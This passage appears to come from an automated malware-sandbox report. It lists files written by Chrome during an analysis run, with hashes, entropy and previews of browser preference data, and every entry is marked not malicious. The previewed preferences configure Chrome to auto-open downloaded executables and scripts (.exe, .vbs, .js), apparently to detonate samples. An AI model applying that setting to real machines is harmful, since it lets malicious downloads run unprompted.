                                                                    • Created / dropped Files have been reduced to 100
                                                                    • Excluded IPs from analysis (whitelisted): 23.211.6.115, 34.104.35.123, 142.250.185.163, 142.250.185.67
                                                                    • Excluded domains from analysis (whitelisted): www.bing.com, fs.microsoft.com, settings-win.data.microsoft.com, store-images.s-microsoft.com-c.edgekey.net, clientservices.googleapis.com, arc.msn.com, ris.api.iris.microsoft.com, e12564.dspb.akamaiedge.net, edgedl.me.gvt1.com, login.live.com, store-images.s-microsoft.com, sls.update.microsoft.com, update.googleapis.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, www.gstatic.com
                                                                    • Not all processes where analyzed, report is missing behavior information
                                                                    • Report size getting too big, too many NtCreateFile calls found.
                                                                    • Report size getting too big, too many NtOpenFile calls found.
                                                                    • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                                    • Report size getting too big, too many NtSetInformationFile calls found.
                                                                    • Report size getting too big, too many NtWriteVirtualMemory calls found.
                                                                    No simulations
                                                                    No context
                                                                    No context
                                                                    No context
                                                                    No context
                                                                    No context
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:ASCII text, with very long lines, with no line terminators
                                                                    Category:dropped
                                                                    Size (bytes):206041
                                                                    Entropy (8bit):6.043313758952208
                                                                    Encrypted:false
                                                                    SSDEEP:6144:l/k6eEkqgADTV1LftwwpDjPu/aaqfIlUOoSiuRl:SqjDnlpDDuxo2
                                                                    MD5:261A8E0CE7D5F755D9B7CDC552FF6EFC
                                                                    SHA1:054BDD32911B386A7AF4C2E75F422CA453C50ED2
                                                                    SHA-256:ED3642B3E79CF6E3C01CF747EFDD9A81DF905BD6A577E1D100C781F7812FE461
                                                                    SHA-512:F1C7EACDD8AD13FDB41445795897F2B5E60D52DD36324ED82259EA3ABA467441839E46408D08F487E4F3C424B9FEB5B1C57598E5A03E175D775497E873344AAD
                                                                    Malicious:false
                                                                    Reputation:low
                                                                    Preview:{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en-GB"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":{"network_time_mapping":{"local":1.656487282816586e+12,"network":1.656487284e+12,"ticks":117799188.0,"uncertainty":3943372.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABaHlwIoHYlQKZwuwW8V0yxAAAAAAIAAAAAABBmAAAAAQAAIAAAAOT4j8Zm9U1zXX6oEUpPqIYBIjSlOiLGeiMKiIFJZDroAAAAAA6AAAAAAgAAIAAAAFW1OavBhyV7qwszPZbindD+KU2Osh5O7HSmDPpFnuCDMAAAAGEkmqbufgFUSmOzx4cW7Aup7spqps4DvqbPrwRgUGqSpRZvQkbO+yVH56WF9zMTt0AAAAAyRwtYxjf7/AqYrFr0JZ6kbTiUt0/2PKkCw7ntLtbN2qrad7I3MeL4iNGDFgqRlhWgsb/6w0gJzQxAfL6rdzxi"},"password_manager":{"os_password_blank":true,"os_password_last_changed":"13291206129666956"},"plugins":{"metadata":{"adobe-flash-player":{"d
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:ASCII text, with very long lines, with no line terminators
                                                                    Category:dropped
                                                                    Size (bytes):206133
                                                                    Entropy (8bit):6.043558821270384
                                                                    Encrypted:false
                                                                    SSDEEP:6144:2/k6eEkqgADTV1LftwwpDjPu/aaqfIlUOoSiuRl:JqjDnlpDDuxo2
                                                                    MD5:80D86AAC50DDC22A781CCD0E92BF1DD1
                                                                    SHA1:15C5DA1A8647B010E6DDED100C396B016FBEDB12
                                                                    SHA-256:21D738C6D16E78172A5BD634EB4B33E6A3EA4B64AB2334C6804B128BA8273AE5
                                                                    SHA-512:1A5057A36CAE4AE2986F64F529325FF4F30D582A23BCBFE1EA2FC7E2F2ECA12781137170553013AD529A30BC43DC10A5EE6A43EB87D8300C6B09F35010D24EE2
                                                                    Malicious:false
                                                                    Reputation:low
                                                                    Preview:{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en-GB"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":{"network_time_mapping":{"local":1.656487282816586e+12,"network":1.656487284e+12,"ticks":117799188.0,"uncertainty":3943372.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABaHlwIoHYlQKZwuwW8V0yxAAAAAAIAAAAAABBmAAAAAQAAIAAAAOT4j8Zm9U1zXX6oEUpPqIYBIjSlOiLGeiMKiIFJZDroAAAAAA6AAAAAAgAAIAAAAFW1OavBhyV7qwszPZbindD+KU2Osh5O7HSmDPpFnuCDMAAAAGEkmqbufgFUSmOzx4cW7Aup7spqps4DvqbPrwRgUGqSpRZvQkbO+yVH56WF9zMTt0AAAAAyRwtYxjf7/AqYrFr0JZ6kbTiUt0/2PKkCw7ntLtbN2qrad7I3MeL4iNGDFgqRlhWgsb/6w0gJzQxAfL6rdzxi"},"password_manager":{"os_password_blank":true,"os_password_last_changed":"13291206129666956"},"plugins":{"metadata":{"adobe-flash-player":{"d
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:ASCII text, with very long lines, with no line terminators
                                                                    Category:dropped
                                                                    Size (bytes):206133
                                                                    Entropy (8bit):6.043558821270384
                                                                    Encrypted:false
                                                                    SSDEEP:6144:2/k6eEkqgADTV1LftwwpDjPu/aaqfIlUOoSiuRl:JqjDnlpDDuxo2
                                                                    MD5:80D86AAC50DDC22A781CCD0E92BF1DD1
                                                                    SHA1:15C5DA1A8647B010E6DDED100C396B016FBEDB12
                                                                    SHA-256:21D738C6D16E78172A5BD634EB4B33E6A3EA4B64AB2334C6804B128BA8273AE5
                                                                    SHA-512:1A5057A36CAE4AE2986F64F529325FF4F30D582A23BCBFE1EA2FC7E2F2ECA12781137170553013AD529A30BC43DC10A5EE6A43EB87D8300C6B09F35010D24EE2
                                                                    Malicious:false
                                                                    Reputation:low
                                                                    Preview:{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en-GB"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":{"network_time_mapping":{"local":1.656487282816586e+12,"network":1.656487284e+12,"ticks":117799188.0,"uncertainty":3943372.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABaHlwIoHYlQKZwuwW8V0yxAAAAAAIAAAAAABBmAAAAAQAAIAAAAOT4j8Zm9U1zXX6oEUpPqIYBIjSlOiLGeiMKiIFJZDroAAAAAA6AAAAAAgAAIAAAAFW1OavBhyV7qwszPZbindD+KU2Osh5O7HSmDPpFnuCDMAAAAGEkmqbufgFUSmOzx4cW7Aup7spqps4DvqbPrwRgUGqSpRZvQkbO+yVH56WF9zMTt0AAAAAyRwtYxjf7/AqYrFr0JZ6kbTiUt0/2PKkCw7ntLtbN2qrad7I3MeL4iNGDFgqRlhWgsb/6w0gJzQxAfL6rdzxi"},"password_manager":{"os_password_blank":true,"os_password_last_changed":"13291206129666956"},"plugins":{"metadata":{"adobe-flash-player":{"d
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:ASCII text, with very long lines, with no line terminators
                                                                    Category:dropped
                                                                    Size (bytes):206041
                                                                    Entropy (8bit):6.043313758952208
                                                                    Encrypted:false
                                                                    SSDEEP:6144:l/k6eEkqgADTV1LftwwpDjPu/aaqfIlUOoSiuRl:SqjDnlpDDuxo2
                                                                    MD5:261A8E0CE7D5F755D9B7CDC552FF6EFC
                                                                    SHA1:054BDD32911B386A7AF4C2E75F422CA453C50ED2
                                                                    SHA-256:ED3642B3E79CF6E3C01CF747EFDD9A81DF905BD6A577E1D100C781F7812FE461
                                                                    SHA-512:F1C7EACDD8AD13FDB41445795897F2B5E60D52DD36324ED82259EA3ABA467441839E46408D08F487E4F3C424B9FEB5B1C57598E5A03E175D775497E873344AAD
                                                                    Malicious:false
                                                                    Reputation:low
                                                                    Preview:{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en-GB"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":{"network_time_mapping":{"local":1.656487282816586e+12,"network":1.656487284e+12,"ticks":117799188.0,"uncertainty":3943372.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABaHlwIoHYlQKZwuwW8V0yxAAAAAAIAAAAAABBmAAAAAQAAIAAAAOT4j8Zm9U1zXX6oEUpPqIYBIjSlOiLGeiMKiIFJZDroAAAAAA6AAAAAAgAAIAAAAFW1OavBhyV7qwszPZbindD+KU2Osh5O7HSmDPpFnuCDMAAAAGEkmqbufgFUSmOzx4cW7Aup7spqps4DvqbPrwRgUGqSpRZvQkbO+yVH56WF9zMTt0AAAAAyRwtYxjf7/AqYrFr0JZ6kbTiUt0/2PKkCw7ntLtbN2qrad7I3MeL4iNGDFgqRlhWgsb/6w0gJzQxAfL6rdzxi"},"password_manager":{"os_password_blank":true,"os_password_last_changed":"13291206129666956"},"plugins":{"metadata":{"adobe-flash-player":{"d
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:PGP symmetric key encrypted data - Plaintext or unencrypted data salted -
                                                                    Category:dropped
                                                                    Size (bytes):100752
                                                                    Entropy (8bit):3.745235152307802
                                                                    Encrypted:false
                                                                    SSDEEP:384:QXJ2uwD5nCc7ClN+r7vSEX3BaE5HUhGFMrX7aFnCrxmAmU4srrTSmP030GGK1O8v:02lpCUFdQeX3R0wNPn2aKsq2BZ
                                                                    MD5:A1C6EA3F6AB704A42F9E5E467BA638C9
                                                                    SHA1:E7089094AAE68766D882741DFE00AADFEBBCCC7E
                                                                    SHA-256:18DD70DD8C36D789DF66AE2B17AECA27ED4CBE4AC8B96DA95FAF4DAEC1D68756
                                                                    SHA-512:533CF3C531F01B62740DBDA690440BFCD355361369A4ABDA3EB817C17F378950E174104CB856BD7FEE5513DEFF5969CFD52774DF525993077EEEFD2357948B39
                                                                    Malicious:false
                                                                    Reputation:low
                                                                    Preview:................*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L..P!...[)...%.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .o.f.f.i.c.e.\.o.f.f.i.c.e.1.6.\.......g.r.o.o.v.e.e.x...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .2.0.1.6...*...M.i.c.r.o.s.o.f.t. .O.n.e.D.r.i.v.e. .f.o.r. .B.u.s.i.n.e.s.s. .E.x.t.e.n.s.i.o.n.s.....1.6...0...4.7.1.1...1.0.0.0.....*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L.....M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n...w`8.D...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.C.o.m.m.o.n. .F.i.l.e.s.\.M.i.c.r.o.s.o.f.t. .S.h.a.r.e.d.\.O.F.F.I.C.E.1.6.\.m.s.o.s.h.e.x.t...d.l.l..@.....U/...%.c.o.m.m.o.n.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .s.h.a.r.e.d.\.o.f.f.i.c.e.1.6.\.......m.s.o.s.h.e.x.t...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e.)...M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .S.h.e.l.l. .E.x.t.e.n.s.i.o.n. .H.a.n.d.l.e.r.s.......1.6...0...4.2.6.6...1.0.0.1.....D...C.:.\.P.r.o.g.r.a.m.
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:ASCII text, with very long lines, with no line terminators
                                                                    Category:dropped
                                                                    Size (bytes):214482
                                                                    Entropy (8bit):6.070942014677004
                                                                    Encrypted:false
                                                                    SSDEEP:6144:6A/k6eEkqgADTV1LftwwpDjPu/aaqfIlUOoSiuRl:6TqjDnlpDDuxo2
                                                                    MD5:8BBC676F250489003BD7531A28B2CD89
                                                                    SHA1:E10905E481904B7DED33548511762CBEA3D4198F
                                                                    SHA-256:362107D54AF5C225FA5CEC35E81DF9B85F0FB92BDCB3AD308787B6BDAF69BBB0
                                                                    SHA-512:C2B9BD90D7637F86EB18B6A26BC0E38ADF5374A2FC7382838DF6E8C2B36D61C363FD91F54C89BB786D9FDF4DC7192999A2C46176E54EB6B98477F65F2F66CE51
                                                                    Malicious:false
                                                                    Reputation:low
                                                                    Preview:{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en-GB"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":{"network_time_mapping":{"local":1.656487282816586e+12,"network":1.656487284e+12,"ticks":117799188.0,"uncertainty":3943372.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABaHlwIoHYlQKZwuwW8V0yxAAAAAAIAAAAAABBmAAAAAQAAIAAAAOT4j8Zm9U1zXX6oEUpPqIYBIjSlOiLGeiMKiIFJZDroAAAAAA6AAAAAAgAAIAAAAFW1OavBhyV7qwszPZbindD+KU2Osh5O7HSmDPpFnuCDMAAAAGEkmqbufgFUSmOzx4cW7Aup7spqps4DvqbPrwRgUGqSpRZvQkbO+yVH56WF9zMTt0AAAAAyRwtYxjf7/AqYrFr0JZ6kbTiUt0/2PKkCw7ntLtbN2qrad7I3MeL4iNGDFgqRlhWgsb/6w0gJzQxAfL6rdzxi"},"password_manager":{"os_password_blank":true,"os_password_last_changed":"13291206129666956"},"plugins":{"metadata":{"adobe-flash-player":{"d
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:data
                                                                    Category:dropped
                                                                    Size (bytes):99424
                                                                    Entropy (8bit):3.7447919835284686
                                                                    Encrypted:false
                                                                    SSDEEP:384:LXJ2uwD5nCc7ClN+r7vSEX3BaE5HUhGFMrX7aFnCrxmAmU4srrTSmP030GGK1O8x:l2lpCUFdQeXE0wNPn2aKsq2Bg
                                                                    MD5:9AEFE2A0031A3E54F271449BF60D80F1
                                                                    SHA1:E3D01864AF7213D99A263B2672C528ADA0147772
                                                                    SHA-256:AC645949E1E92E6AE6C78898079A8527B707D20B5CF00F3D3F7E7BDF730F6F53
                                                                    SHA-512:383FF2C07C079886C1FF96CC6DD7E9737EB1A06DD7F63485955040860FF1CCD43CE3492A14793EE42140FA8C458BC4AD77A881CE485B88FBF57F2C3B3A4982E8
                                                                    Malicious:false
                                                                    Reputation:low
                                                                    Preview:\...............*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L..P!...[)...%.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .o.f.f.i.c.e.\.o.f.f.i.c.e.1.6.\.......g.r.o.o.v.e.e.x...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .2.0.1.6...*...M.i.c.r.o.s.o.f.t. .O.n.e.D.r.i.v.e. .f.o.r. .B.u.s.i.n.e.s.s. .E.x.t.e.n.s.i.o.n.s.....1.6...0...4.7.1.1...1.0.0.0.....*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L.....M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n...w`8.D...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.C.o.m.m.o.n. .F.i.l.e.s.\.M.i.c.r.o.s.o.f.t. .S.h.a.r.e.d.\.O.F.F.I.C.E.1.6.\.m.s.o.s.h.e.x.t...d.l.l..@.....U/...%.c.o.m.m.o.n.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .s.h.a.r.e.d.\.o.f.f.i.c.e.1.6.\.......m.s.o.s.h.e.x.t...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e.)...M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .S.h.e.l.l. .E.x.t.e.n.s.i.o.n. .H.a.n.d.l.e.r.s.......1.6...0...4.2.6.6...1.0.0.1.....D...C.:.\.P.r.o.g.r.a.m.
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:data
                                                                    Category:dropped
                                                                    Size (bytes):40
                                                                    Entropy (8bit):3.3041625260016576
                                                                    Encrypted:false
                                                                    SSDEEP:3:FkXwgs0oRLn:+taRLn
                                                                    MD5:7AE9008C2AA5ED3E5ED52743E082F5BF
                                                                    SHA1:CD90099842F51474494BFC490433578A89C1B539
                                                                    SHA-256:94E7D9BF431A0E3F0FD02F0FBA7321F43DD8B523E3D32092AFC474D3FD5ABF62
                                                                    SHA-512:596E66D10186ADAD552F4CF7E74CD438AD19AF4C30950D2D6EB80E9F9430CA475D12BB79423EC8D15EAF37ABE0AD1DCCAE459C356A00055A82155C24A35C6F14
                                                                    Malicious:false
                                                                    Reputation:high, very likely benign file
                                                                    Preview:sdPC.....................UO..E.D.Q.o....
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:UTF-8 Unicode text, with very long lines, with no line terminators
                                                                    Category:dropped
                                                                    Size (bytes):19795
                                                                    Entropy (8bit):5.5645189713618235
                                                                    Encrypted:false
                                                                    SSDEEP:384:So8tRLlM4Xb1kXqKf/pUZNCgVLH2HfDCrUvHGhdYijU4f:GLlbb1kXqKf/pUZNCgVLH2HfWrUfGh7b
                                                                    MD5:217652DA73021BF3635A763B85F90C5B
                                                                    SHA1:026F22E3CA7505EB2A6A15A939A268A641665359
                                                                    SHA-256:D69EEF78D26D49B9CBF36AD8486EA23617BB090927338B65B60201681B8011D5
                                                                    SHA-512:F5D0AE7E47BD5E5208566B99338C07731D447C8E6E9D9BCC5EE0B87B5AC32E7421FFFB529C0AC9604380042CC2819530656793BA8D00B81A9B5E16F0868A2EF1
                                                                    Malicious:false
                                                                    Reputation:low
                                                                    Preview:{"download":{"always_open_pdf_externally":true,"directory_upgrade":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xls:xlsx:xlsxm:xlsm:ppt:pptx:pptxm:pptm:mht:rtf:pub:vsd:mpp:mdb:dot:dotm:xlsb:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso:7z:rar:tar:vbs:js:jse:vbe:exe:html:htm:xhtml:tbz2:lz"},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"install_time":"13300960880693028","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Google Chrome.","icons":{"128":"webstore_i
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:ASCII text, with very long lines, with no line terminators
                                                                    Category:dropped
                                                                    Size (bytes):3473
                                                                    Entropy (8bit):4.884843136744451
                                                                    Encrypted:false
                                                                    SSDEEP:96:6FGX0G70GhIGpyGzRDYLiEHYDBKGzUGaCGjHGESHG/OG6mhM:6Fe0i0sIIyGzRDYLiEHYDBKSUpCQHrSP
                                                                    MD5:494384A177157C36E9017D1FFB39F0BF
                                                                    SHA1:CE5D9754A70CD84CEE77C9180DB92C69715BE105
                                                                    SHA-256:07CF0A5189FAD30A4AA721F4F6DA1B15100991115833EACFA1E2DC84A1B54337
                                                                    SHA-512:BFB80EEC0C0B5D9E487047703BE49826321A4D249422E0C81E978E6C8A310F41C7B4B8F849229BA87484FDF4831DD6A98FF994D0FDA5CE3D341CE615C15F2F1C
                                                                    Malicious:false
                                                                    Preview:{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[],"expiration":"13248516607497410","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":27387},"server":"https://www.gstatic.com","supports_spdy":true},{"alternative_service":[{"advertised_versions":[],"expiration":"13248516607334226","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":34287},"server":"https://ssl.gstatic.com","supports_spdy":true},{"alternative_service":[{"advertised_versions":[],"expiration":"13248516607463627","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":31787},"server":"https://fonts.gstatic.com","supports_spdy":true},{"alternative_service":[{"advertised_versions":[],"expiration":"13248516607318875","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":23359},"server":"https://apis.google.com","supports_spdy":true},{"alternative_service":[{"advertised_versions":[],"expiration":"13248
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:UTF-8 Unicode text, with very long lines, with no line terminators
                                                                    Category:dropped
                                                                    Size (bytes):17703
                                                                    Entropy (8bit):5.577129615744846
                                                                    Encrypted:false
                                                                    SSDEEP:384:So8tRLlM4Xb1kXqKf/pUZNCgVLH2HfDCrUpdYiQU4d:GLlbb1kXqKf/pUZNCgVLH2HfWrUpYUK
                                                                    MD5:ABBC83A21659EBD9977D1BE0674D258A
                                                                    SHA1:0312C5AF3AA5E6F9ACD8869C932482AB6D025ED1
                                                                    SHA-256:BFB2DFC6673B959DDB9027C75BD2E4E1989F6466875A383DB1CF498767312163
                                                                    SHA-512:72F673FCEBE7BBFCC55F0DCF7D7CAD4B599984B556F34F8C9A6CC9262CA5DF930FFC2FC6A041B68C34CCE9D3D0E30C0FEB745A7BB2953256215901906D884921
                                                                    Malicious:false
                                                                    Preview:{"download":{"always_open_pdf_externally":true,"directory_upgrade":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xls:xlsx:xlsxm:xlsm:ppt:pptx:pptxm:pptm:mht:rtf:pub:vsd:mpp:mdb:dot:dotm:xlsb:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso:7z:rar:tar:vbs:js:jse:vbe:exe:html:htm:xhtml:tbz2:lz"},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"install_time":"13300960880693028","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Google Chrome.","icons":{"128":"webstore_i
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:ASCII text, with very long lines, with no line terminators
                                                                    Category:modified
                                                                    Size (bytes):1518
                                                                    Entropy (8bit):4.80784950396998
                                                                    Encrypted:false
                                                                    SSDEEP:24:Y26aL3M33ayFGRaXa63aDaaraqavatZa+RdsdwdR/RdsdQdMHwmQYhbG7n/iy:Y2nzM3qyvK6qDHGXCtwWsgRLs0MHyYhM
                                                                    MD5:40DBE072C7E6EFB7E13C8ACC5C5102F8
                                                                    SHA1:C16F1653D3EA0E7A7F50387FB36ECDF99FCEA0B1
                                                                    SHA-256:D6C8C3370480D597DCEC53EDD3D9968EB152CF240C147AAC287C7AD66303E7BA
                                                                    SHA-512:0BC0AC7FAA0B6557B69B83974254347E2E6CED1EE2605FFC5BA6CD265AD6A0D502B4B0BC2CF7A06455DC18335E876B0E838A55BD8C72F039619E95FAF58C1385
                                                                    Malicious:false
                                                                    Preview:{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://www.google.com","supports_spdy":true},{"isolation":[],"server":"https://dns.google","supports_spdy":true},{"isolation":[],"server":"https://www.googleapis.com","supports_spdy":true},{"isolation":[],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"isolation":[],"server":"https://redirector.gvt1.com","supports_spdy":true},{"isolation":[],"server":"https://fonts.googleapis.com","supports_spdy":true},{"isolation":[],"server":"https://ogs.google.com","supports_spdy":true},{"isolation":[],"server":"https://play.google.com","supports_spdy":true},{"isolation":[],"server":"https://apis.google.com","supports_spdy":true},{"isolation":[],"server":"https://fonts.gstatic.com","supports_spdy":true},{"isolation":[],"server":"https://ssl.gstatic.com","supports_spdy":true},{"isolation":[],"server":"https://www.gstatic.com","supports_spdy":true},{"alternative_service":[{"advertised_versions":[50],"expi
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:very short file (no magic)
                                                                    Category:dropped
                                                                    Size (bytes):1
                                                                    Entropy (8bit):0.0
                                                                    Encrypted:false
                                                                    SSDEEP:3:L:L
                                                                    MD5:5058F1AF8388633F609CADB75A75DC9D
                                                                    SHA1:3A52CE780950D4D969792A2559CD519D7EE8C727
                                                                    SHA-256:CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
                                                                    SHA-512:0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
                                                                    Malicious:false
                                                                    Preview:.
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:UTF-8 Unicode text, with very long lines, with no line terminators
                                                                    Category:dropped
                                                                    Size (bytes):17702
                                                                    Entropy (8bit):5.577268208955306
                                                                    Encrypted:false
                                                                    SSDEEP:384:So8tYLlM4Xb1kXqKf/pUZNCgVLH2HfDCrUpiYiQU46K:9Llbb1kXqKf/pUZNCgVLH2HfWrUppUhK
                                                                    MD5:3B99DB022D4E40453CDB1B6130B78916
                                                                    SHA1:D60C61670896E32D6FEFAE77B0057E6F5E2093AD
                                                                    SHA-256:FD879077DEBC87FD2A4A4DECC3202B83E13252E04654952F90EF04832A4697E8
                                                                    SHA-512:6B924E6E51731B72698241FE9CE3068D8441E5B474DCF14E5FB71188458B2499CB18222131816C1B77302F017C9A08550AA3B9CA65D3662B26DD2557ED88DD35
                                                                    Malicious:false
                                                                    Preview:{"download":{"always_open_pdf_externally":true,"directory_upgrade":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xls:xlsx:xlsxm:xlsm:ppt:pptx:pptxm:pptm:mht:rtf:pub:vsd:mpp:mdb:dot:dotm:xlsb:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso:7z:rar:tar:vbs:js:jse:vbe:exe:html:htm:xhtml:tbz2:lz"},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"install_time":"13300960880693028","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Google Chrome.","icons":{"128":"webstore_i
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:ASCII text, with very long lines, with no line terminators
                                                                    Category:dropped
                                                                    Size (bytes):4899
                                                                    Entropy (8bit):4.932394192742149
                                                                    Encrypted:false
                                                                    SSDEEP:48:Yc/kKSChklieqAXiqTlYGlQKHoTw0hIYrf4MqM8C1Nfct/9BhUJo3KhmeSnpNGzm:n3LRM1pIKIHIA5k0JCKL8bbOTlVuHn
                                                                    MD5:F2373E7D549F06D53F959D64296093CF
                                                                    SHA1:7200DF843A4F898FE87E785528AEF953C4ADDFB6
                                                                    SHA-256:85B55B52BBC7E9902408BA691353743A632C186A953625501872274597B5F25A
                                                                    SHA-512:6837C4EB1BE14B8F4AC4D3DCF1F99FF42A6430A6660D356BC591774B8DCFEC005FD09E5DFDCF3459AAEB795F444A47D5DA2F9E0FD80AFF046ADEA327EC39A104
                                                                    Malicious:false
